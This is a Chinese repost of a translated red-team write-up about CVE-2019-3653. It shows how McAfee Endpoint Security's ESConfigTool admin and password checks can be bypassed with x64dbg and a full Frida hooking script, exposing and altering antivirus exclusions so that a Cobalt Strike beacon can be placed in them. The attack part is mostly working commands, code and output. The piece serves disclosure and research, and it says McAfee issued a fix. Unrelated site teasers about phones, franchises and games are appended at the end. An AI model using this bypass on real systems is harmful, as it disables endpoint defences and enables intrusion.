怎样卸载迈克菲,如何禁用mcafee杀毒软件

利用Mcafee管理工具绕过McAfee杀毒软件

介绍这篇文章是关于我在一次红队活动中如何利用McAfee工具绕过McAfee Endpoint Security杀毒软件的故事。本来我没有计划写这篇文章,但当时的队友@fsdominguezand和@_dirkjan觉得此事值得被记录下来。现在,就让我们开始吧。McAfee在以往,每当我们遇到McAfee Virus Scan Enterprise(VSE)的时候,都可以通过简单地查询注册表,了解到那些位置是管理员指定的“特殊位置”(不受杀毒软件影响)。

然而,在这次任务中,事情没那么简单。因为他们使用的是McAfee Endpoint Security,从VSE时代到现在,McAfee可能认为最好不要将“特殊位置”之类的信息以明文形式存储在任何人都可阅读的文件中。

那么,我们现在该把恶意文件放在哪里?ESConfigToolMcAfee Endpoint Security杀毒软件附带一个名为ESConfigTool的程序,可用于导入和导出配置文件。它的详细用法如下。

我们发现,要从McAfee Endpoint Security得知安全设置,你需要:解锁密码管理权限很遗憾这两者我们都没有。

现在,先让我们下载一个试用版本的McAfee Endpoint Security,看看是否有入手点。

变化我们最后决定还是以ESConfigTool为目标,看看它是否有漏洞。我先创建了三个“特殊位置”:C:\Windows\Temp\*mimikatz.exeC:\TotallyLegit\

还设置了密码保护:starwars。

打开一个cmd,看看我们是否可以得到这些设置信息。

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Windows\system32>”C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” /export C:\Export.xml /module TP /unlock starwars /plaintextCommand executed successfully. Please refer to Endpoint Security logs for detailsC:\Windows\system32>让我们打开xml文件,看看是否有敏感信息:

C:\Windows\Temp\031110**\*mimikatz.exe030110C:\TotallyLegit\031110是的,在拥有管理员权限以及输入了正确密码的情况下,你可以得到安全设置。让我们通过x64dbg软件,看一下它的整体流程。Self-defense通常使用调试软件打开二进制文件是很简单的,但由于我们面对的是安全软件,所以有一些额外的障碍。一个重要的原因是,McAfee的大部分组件都有“自卫”功能。如果你尝试使用调试软件,将立即得到一个Debugging stopped消息,McAfee对这种可疑行为极为敏感。

 

12/10/2019 12:47:09 mfeesp(2204.6392) ApBl.SP.Activity: DESKTOP-DNUK2R5\admin ran X64DBG.EXE, which attempted to access ESCONFIGTOOL.EXE, violating the rule “Core Protection – Protect McAfee processes from unauthorized access and termination”, and was blocked. For information about how to respond to this event, see KB85494.12/10/2019 12:47:09 mfeesp(2204.5404) ApBl.SP.Activity: DESKTOP-DNUK2R5\admin ran X64DBG.EXE, which attempted to access ESCONFIGTOOL.EXE, violating the rule “Core Protection – Protect McAfee processes from unauthorized access and termination”, and was blocked. For information about how to respond to this event, see KB85494.看来我们首先需要绕过这种自我防御机制。

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Users\admin>mkdir \tempC:\Users\admin>cd \tempC:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\blframework.dll” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\EpSecApiLib.dll” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\McVariantExport.dll” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\LogLib.dll” . 1 file(s) copied.C:\temp>没错,只要像如上所述疯狂复制文件,你就可以绕过自我防御,对软件进行调试。现在,让我们开始调试吧

绕过密码检查先让我们看看当使用错误的密码时会发生什么,也许会有一些字符提示:

C:\Windows\system32>”C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” /export C:\Export.xml /module TP /unlock startrek /plaintextThere were some errors while executing command. Please refer to Endpoint Security logs for detailsC:\Windows\system32>嗯,没什么特别的。不过McAfee的日志文件提供了更多信息:

10/12/2019 01:11:46.400 PM ESConfigTool(5476.8840) ESConfigTool.ESConfigTool.Error (ImportExportUtil.cpp:677): Failed to unlock client settings with user supplied password, TriggerAction failed让我们在调试器中搜索特定字符串,看看能否找到这个错误的来源。

 

现在我们把这个位置设为断点,再运行一次,看看在断点之前发生了什么。我们可以看到一个函数调用了一个名为BLInvokeMethod的东西,后面还跟着一个没有执行的跳转:

 

此时,我们有两个选择:进入密码检查函数,看看它是如何工作的,并尝试破解密码。直接更改检查函数的返回值。因为我很懒,我所以选择了第2项。当输入错误的密码时,密码检查函数会将错误代码放入RAX寄存器:

如果提供了正确的密码,则RAX寄存器的值为0

那么,如果我们提供了错误的密码,将密码检查函数中断,并将RAX寄存器的值改为0,会发生什么情况呢?

成功导出设置!

看来密码检查只是由工具本身完成的,不牵涉其他组件,也不需要解密。绕过管理员权限在没有管理员权限的情况下,ESConfigTool工具能使用的功能是非常有限的:

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Users\user>”C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” /export C:\temp\Export.xml /module TP /unlock starwars /plaintextDescription: Endpoint security configuration tool for exporting and importing policy configuration. User needs administrator privileges to run this utility. Utility needs password if the client interface is password protected. File supplied for import must be an encrypted file.USAGE: ESConfigTool.exe /export [/module <TP|FW|WC|ESP> ] [/unlock ] [/plaintext ] ESConfigTool.exe /import [/module <TP|FW|WC|ESP> ] [/unlock ] [/policyname ] ESConfigTool.exe /helpC:\Users\user>我们怎样才能知道权限检查的流程呢?先让我们以普通用户的身份运行调试器,看看会发生什么。发现它调用一个函数,并对返回值进行字符串比较,如果返回代码不是0,则调用“exit”。

如果追踪这个函数,会发现它将最终调用AllocateAndInitializeSid。不过这些都不值得花时间去逆向。让我们再次尝试偷懒的方法更改函数返回值。

返回值检查如下:

这一次返回值必须是0以外的任何值。

OK,又成功了!

我们现在可以从McAfee Endpoint Security导出安全设置,不需要管理权限,不需要知道正确的密码!自动运行到目前为止,一切都很顺利,但是每次使用调试器更改返回值是一件痛苦的事情。不过幸运的是,存在Frida这么一个有趣的东西,它可以帮你做所有很酷的事情,比如hook函数或改变其返回值,你不需要任何额外的技能,除了javascript!

那么我们如何将Frida注入到McAfee呢?很简单,frida-server。只需在运行McAfee的机器上启动它,然后使用Python进行连接。McAfee机器:Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Users\admin>cd \tempC:\temp>frida-server-12.7.9-windows-x86_64.exePython机器:Python 3.6.7 (default, Oct 22 2018, 11:32:17) [GCC 8.2.0] on linuxType “help”, “copyright”, “credits” or “license” for more information.>>> import frida>>> devmgr = frida.get_device_manager()>>> devmgr.add_remote_device(‘192.168.31.150′)Device(id=”tcp@192.168.31.150″, name=”192.168.31.150″, type=’remote’)>>> rdev = frida.get_device(‘tcp@192.168.31.150’)>>> args = [… ‘ESConfigTool.exe’,… ‘/export’,… ‘frida-export.xml’,… ‘/module’,… ‘ESP’,… ‘/unlock’,… ‘startrek’,… ‘/plaintext’… ]>>> pid = rdev.spawn(args)>>> session = rdev.attach(pid)>>> sessionSession(pid=11168)现在我们已经连接上,ESConfigTool.exe也正在运行!

现在我们可以将JS代码注入到ESConfigTool进程中。Frida脚本我不会详细介绍这个脚本的功能,其完整代码如下:

const configbase = Module.findbaseAddress(‘ESConfigTool.exe’);//const adminCheck = configbase.add(0x5240); //32const adminCheck = configbase.add(0x5f30); //64const BLInvokeMethod = Module.findExportByName(‘blframework.dll’,’BLInvokeMethod’)console.log(‘[-] base address is:’,configbase);console.log(‘[-] Admin check is:’,adminCheck);console.log(‘[-] BLInvokeMethod:’,BLInvokeMethod);Interceptor.attach(adminCheck, { onEnter: function (args) { console.log(‘[+] Hooked admin check function’); }, onLeave: function (retval) { console.log(‘[+] Returning true for admin check’); retval.replace(1); }});Interceptor.attach(BLInvokeMethod, { onEnter: function (args) { console.log(‘[+] Hooked BLInvokeMethod function’); }, onLeave: function (retval) { console.log(‘[+] Patching password check function’); retval.replace(0x0); }});这个脚本执行的正是我们在调试器中手动执行的操作,更改返回值。让我们注入脚本,看看它是否有效:

>>> script = “””… const configbase = Module.findbaseAddress(‘ESConfigTool.exe’);… //const adminCheck = configbase.add(0x5240); //32… const adminCheck = configbase.add(0x5f30); //64… const BLInvokeMethod = Module.findExportByName(‘blframework.dll’,’BLInvokeMethod’)… … console.log(‘[-] base address is:’,configbase);… console.log(‘[-] Admin check is:’,adminCheck);… console.log(‘[-] BLInvokeMethod:’,BLInvokeMethod);… … Interceptor.attach(adminCheck, {… onEnter: function (args) {… console.log(‘[+] Hooked admin check function’);… },… onLeave: function (retval) {… console.log(‘[+] Returning true for admin check’);… retval.replace(1);… }… });… … Interceptor.attach(BLInvokeMethod, {… onEnter: function (args) {… console.log(‘[+] Hooked BLInvokeMethod function’);… },… onLeave: function (retval) {… console.log(‘[+] Patching password check function’);… retval.replace(0x0);… }… });… … “””>>> session.create_script(script).load()[-] base address is: 0x7ff73ed30000[-] Admin check is: 0x7ff73ed35f30[-] BLInvokeMethod: 0x7ffa4d759730>>> rdev.resume(pid)>>> [+] Hooked admin check function[+] Returning true for admin check[+] Hooked BLInvokeMethod function[+] Patching password check function>>>最终结果如下:

虽然我是作为“admin”用户运行的,但是没有涉及UAC。相信我,这套方法也适用于普通用户。后续现在,我们就可以把一个Cobalt Strike beacon放入那些“特殊位置”。尽管在本文中只讨论了设置信息导出,但你也可以导入配置文件,添加“特殊位置”,更改其他设置,甚至完全删除密码。

值得一提的是,其实这个配置文件加密与否并不重要,因为你可以把它导入自己的McAfee软件进行查看。

McAfee在确认了漏洞后,发布了一个安全建议和相关的修复程序,漏洞被标记为CVE-2019-3653。

如果你想了解更多,可以在这里找到PoC脚本。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场

来源:https://dmaasland.github.io/posts/mcafee.html

原文:https://www.loosebyte.com/google-cloud-vulnerability/

白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。

为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。

本文来自投稿,不代表展天博客立场,如若转载,请注明出处:https://www.me900.com/326069.html

(0)

相关推荐

  • 移动cpu天梯榜2022(pc移动端cpu天梯榜)

    随着多款手机新芯片及跑分数据被曝光,特修正本手机Soc芯片性能排行榜,本次修订的《手机cpu天梯图(2022年11月第3版)》截止至2022年11月23日。长图,请点击放大查看或于PC端阅读。 (手机CPU天梯图_2022年11月第3版) 《手机cpu天梯图(2022年11月第3版)》说明:增加了实锤将发布的骁龙4 gen 1、骁龙6 gen 1、骁龙7 g…

    2023-05-31
  • 手机自动一天赚500(手机正规挣钱)

    有好几天没更文了,不是我懒惰了,只是最近我一直在思考一个问题,现在人 人都喊创业,人人都需要一份副业,可这创业和副业哪来的么容易呢,没有风 雨哪来的彩虹,很多人不知不觉已到了负业和负债的路上了,就不要说创业 了,看着是不是很扎心,可现实便是如此,长期的迷茫啊,徘徊,让你几乎到 了崩溃的状态,别急哈,如果你正想有一份副业来解忧愁的话呢,不要想着 一下子几千几万…

    2021-11-18
  • 网页的制作,html简单网页设计教程

    一、认识HTML超文本标记语言(Hyper Text Markup Language),标准通用标记语言下的一个应用。HTML 不是一种编程语言,而是一种标记语言 (markup language),是网页制作所必备的。“超文本”就是指页面内可以包含图片、链接,甚至音乐、程序等非文字元素。超文本标记语言(或超文本标签语言)的结构包括“头”部分、和“主体”部分…

    2023-06-29
  • 如何在拍拍上开店(拍拍二手怎么入驻商家)

    二手商品入驻京东需要准备的资质有哪些? 二手产品的有效利用是很重要的,如果是利用的好,可以减少资源的浪费。二手商品商家入驻京东的话,是要入驻京东的二手拍拍,相关的类目有,二手手机、二手电脑、二手数码、二手家电、二手奢侈品/乐器、二手珠宝饰品、汽车拆车件、二手高尔夫。 招商审核维度,接下来就来了解一下吧! 审核方面是直接审核公司资质和品牌授权两个方向。 二手手…

    2021-11-07
  • 潜龙基地为什么被移除(穿越火线第一张游泳地图被删)

    聊聊穿越火线第一张水中团队竞技地图-潜龙基地被下架删除了,想当年这张地图也是风靡一时的热门图,因为他可以在水中游泳,并且在水里射击,这种感觉别有一番风味。但为何当时大火的潜龙基地,经历了这么多年沦落好如此下场。老玩家惊呼:真的太可惜了。   穿越火线作为国内射击网游玩家最多的游戏,为了让玩家们体验各种新鲜的玩法,推出了水中战斗团队图潜龙基地,到后来…

    2022-01-08
  • 7寸手机,7寸手机:最新模型、价格、参数比较

    中国成年男性中最受欢迎的十种玩具可能因人而异,但是根据市场销售情况和大众口碑,下面?是一些可能性较高的玩具类型: 电子游戏机:电子游戏机一直以来都是年轻男性的最爱,随着游戏行业的不断发展,各种新款游戏机层出不穷,如PS5、Xbox Series X等。手机:智能手机已经成为人们日常生活中不可或缺的一部分,可以带给人们各种娱乐和工作便利。无人机:随着科技的发展…

    2023-05-22
  • win8.1硬件要求,win8系统支持几代cpu

    目前RTX4060Ti已经推出,它的来到,让RTX3060Ti G6X降了一波价格,所以不少用户,依然会考虑RTX3060Ti这块独显,装机性价比也提升了不少。趁着618装机旗舰,下面装机之家晓龙推荐4套RTX3060Ti组装电脑配置清单,618特惠电脑主机,分别搭配主流热选的i5 13400F、i5 13490F、i3 12400F以及12490F,int…

    2023-07-07
  • 如何用夏普比率判断投资收益的优劣

    最新一期基金测评当中,通过多种因子,比如年化波动,最大回撤,夏普比率,还包括正收益概率和投资胜率,基金规模等,一共选出了大概12只消费医药类主题基金。 003291, 信澳健康中国A 近5年年化收益率18%,成立了5年89天,累计收益率149%,今年的回撤只下跌了0.76%,非常了不起,在当前大势下跌的情况下。最大回撤38%,回撤也合理,所以它的夏普比率达到…

    2023-06-03
  • 真功夫加盟要多少钱,加盟一个快餐店大概需要多少钱

    12月26日,广州真功夫快餐连锁管理有限公司(下称“真功夫公司”)在官方微博确认了该公司因使用酷似李小龙形象商标被**公司Bruce Lee Enterprises,LLC(李小龙公司)起诉并遭巨额索赔一事。当日,南都记者向李小龙公司代理律师团队了解到,李小龙公司向真功夫公司提出了经济损失2.1亿的索赔要求。当前,“真功夫”字样搭配酷似李小龙肖像的图文商标已…

    2023-02-09
  • 移动七天流量包是扣话费吗

    山西移动推出元旦节日包,9.9元10G省内流量,19.9元20G省内流量加1G国内流量。有效期7天!大家看划算吗? ​流量除了订购后自己使用 还可以点击“立即分享”生成自己的办理链接 ​ ​​​

    2023-06-02
  • 腹部胸部肌肉怎么锻炼方法,胸腹肌肉的锻炼方法

    在居家环境下,你可以采取以下方法来训练和发展好胸肌:   俯卧撑:俯卧撑是一种非常有效的胸肌锻炼动作。你可以在地板上或者使用稳定的椅子或墙角等作为支撑点,进行标准俯卧撑。调整手臂的宽度和手腕的角度,以刺激不同部位的胸肌。 哑铃推胸:如果你有哑铃,可以进行哑铃推胸练习。仰卧在地板上或调整为斜板坡度,双手持哑铃,将哑铃推向上方,感受胸肌的收缩和伸展。 …

    2023-07-11
  • 魔兽点卡涨价(魔兽点卡涨价了)

    说起网络游戏,也许很多人会想先起《魔兽世界》这款游戏吧,而从《魔兽世界》开服至今已经经历很多次系统版本的更新之后,依旧吸引着无数玩家的关注,然而每次地更新与改变对于玩家来说并不一定都是好事,据报道, 具体来说,涉及到的服务包括角色服务(角色Boost、改名、转服,转变角色形象等等)、WOW Tokens(时光代币)、装备、工会相关等等。不过,现在起至4月4日…

    2022-01-20